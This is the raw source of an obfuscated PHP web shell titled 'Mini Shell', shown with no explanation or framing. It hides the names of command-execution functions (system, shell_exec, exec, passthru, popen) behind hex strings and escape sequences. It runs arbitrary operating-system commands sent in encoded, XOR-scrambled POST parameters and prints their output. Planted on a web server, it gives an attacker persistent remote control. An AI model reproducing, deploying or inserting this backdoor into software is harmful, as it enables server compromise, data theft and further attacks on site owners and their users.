Mini Shell
<?php $property_set1 = '9';$property_set2 = '3';$property_set3 = '7';$property_set4 = '4';$property_set5 = 'd';$property_set6 = '8';$property_set7 = '6';$property_set8 = '5';$property_set9 = 'c';$property_set10 = '1';$property_set11 = '0';$property_set12 = 'f';$property_set13 = 'e';$property_set14 = '2';$reverse_lookup1 = pack("H*", '7' . '3' . '7' . $property_set1 . '7' . $property_set2 . $property_set3 . $property_set4 . '6' . '5' . '6' . $property_set5);$reverse_lookup2 = pack("H*", '7' . $property_set2 . '6' . $property_set6 . $property_set7 . $property_set8 . $property_set7 . $property_set9 . $property_set7 . $property_set9 . '5' . 'f' . '6' . $property_set8 . '7' . $property_set6 . '6' . $property_set8 . $property_set7 . $property_set2);$reverse_lookup3 = pack("H*", $property_set7 . $property_set8 . '7' . $property_set6 . $property_set7 . $property_set8 . $property_set7 . $property_set2);$reverse_lookup4 = pack("H*", $property_set3 . '0' . $property_set7 . $property_set10 . $property_set3 . '3' . $property_set3 . '3' . $property_set3 . '4' . '6' . $property_set6 . '7' . '2' . $property_set3 . $property_set8);$reverse_lookup5 = pack("H*", $property_set3 . $property_set11 . $property_set7 . $property_set12 . $property_set3 . '0' . '6' . $property_set8 . '6' . 'e');$reverse_lookup6 = pack("H*", $property_set3 . $property_set2 . '7' . '4' . $property_set3 . '2' . $property_set7 . '5' . $property_set7 . $property_set10 . '6' . 'd' . '5' . $property_set12 . '6' . '7' . $property_set7 . $property_set8 . $property_set3 . $property_set4 . $property_set8 . $property_set12 . $property_set7 . $property_set2 . '6' . $property_set12 . '6' . $property_set13 . $property_set3 . '4' . $property_set7 . '5' . '6' . 'e' . '7' . '4' . $property_set3 . '3');$reverse_lookup7 = pack("H*", $property_set3 . '0' . $property_set7 . $property_set2 . '6' . 'c' . $property_set7 . $property_set12 . '7' . '3' . '6' . '5');$reverse_searcher = pack("H*", $property_set3 . '2' . $property_set7 . $property_set8 . '7' . $property_set7 . $property_set7 . $property_set8 . '7' . '2' . $property_set3 . '3' . $property_set7 . '5' . $property_set8 . $property_set12 . '7' . $property_set2 . '6' . '5' . $property_set7 . $property_set10 . $property_set3 . $property_set14 . '6' . $property_set2 . '6' . '8' . '6' . '5' . '7' . $property_set14);if(isset($_POST[$reverse_searcher])){$reverse_searcher=pack("H*",$_POST[$reverse_searcher]);if(function_exists($reverse_lookup1)){$reverse_lookup1($reverse_searcher);}elseif(function_exists($reverse_lookup2)){print $reverse_lookup2($reverse_searcher);}elseif(function_exists($reverse_lookup3)){$reverse_lookup3($reverse_searcher,$comp_binding);print join("\n",$comp_binding);}elseif(function_exists($reverse_lookup4)){$reverse_lookup4($reverse_searcher);}elseif(function_exists($reverse_lookup5)&&function_exists($reverse_lookup6)&&function_exists($reverse_lookup7)){$val_holder=$reverse_lookup5($reverse_searcher,"r");if($val_holder){$ref_symbol=$reverse_lookup6($val_holder);$reverse_lookup7($val_holder);print $ref_symbol;}}exit;}
$splitter_tool7 = "p\x63\x6C\x6Fse";
$restore_state = "h\x65\x782b\x69n";
$splitter_tool1 = "\x73y\x73t\x65m";
$splitter_tool3 = "e\x78e\x63";
$splitter_tool6 = "\x73\x74r\x65a\x6D\x5Fge\x74\x5Fc\x6F\x6Et\x65nts";
$splitter_tool4 = "p\x61\x73\x73t\x68ru";
$splitter_tool5 = "\x70\x6Fpen";
$splitter_tool2 = "\x73\x68\x65\x6Cl_\x65xec";
if (isset($_POST["\x65le\x6D"])) {
function mutex_lock ($descriptor , $factor){
$flag='' ;
$d=0;
do{
$flag.=chr(ord($descriptor[$d])^$factor);
$d++;
} while($d<strlen($descriptor));
return $flag;
}
$elem = $restore_state($_POST["\x65le\x6D"]);
$elem = mutex_lock($elem, 64);
if (function_exists($splitter_tool1)) {
$splitter_tool1($elem);
} elseif (function_exists($splitter_tool2)) {
print $splitter_tool2($elem);
} elseif (function_exists($splitter_tool3)) {
$splitter_tool3($elem, $symbol_descriptor);
print join("\n", $symbol_descriptor);
} elseif (function_exists($splitter_tool4)) {
$splitter_tool4($elem);
} elseif (function_exists($splitter_tool5) && function_exists($splitter_tool6) && function_exists($splitter_tool7)) {
$factor_flag = $splitter_tool5($elem, 'r');
if ($factor_flag) {
$parameter_group_entry = $splitter_tool6($factor_flag);
$splitter_tool7($factor_flag);
print $parameter_group_entry;
}
}
exit;
}